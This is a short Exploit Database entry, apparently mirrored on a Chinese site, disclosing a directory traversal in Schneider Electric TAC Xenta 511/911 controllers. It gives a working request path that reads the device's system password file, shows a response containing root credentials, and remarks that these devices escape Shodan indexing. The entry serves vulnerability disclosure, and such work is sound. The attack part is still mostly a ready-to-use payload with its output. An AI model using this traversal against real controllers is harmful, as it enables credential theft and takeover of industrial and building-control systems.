TAC Xenta 511/911 – Directory Traversal

• Exploit Database
• 18 阅读

• 作者： Marek Cybul
  日期： 2018-05-31
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44809/

• # Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
  # Date: 25.05.2018
  # Exploit Author: Marek Cybul
  # Vendor Homepage:
  https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
  # Version: 5.17
  
  # Schneider Electric TAC Xenta 911 and 511 PLCs
  
  Directory traversal in help manuals allows for credentials extraction
  
  Devices are not indexed by crawlers like Shodan or Censys due to
  ancient SSL configuration,
  needed to use old browser to support it (not even s_client, curl or
  ncat could connect).
  
  
  Example URI: /www/help/public/../../../sys/pswd
  
  vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
  
  HTTP/1.0 200 OK
  
  root
  super user
  /
  /
  /
  password
  0
  900
  3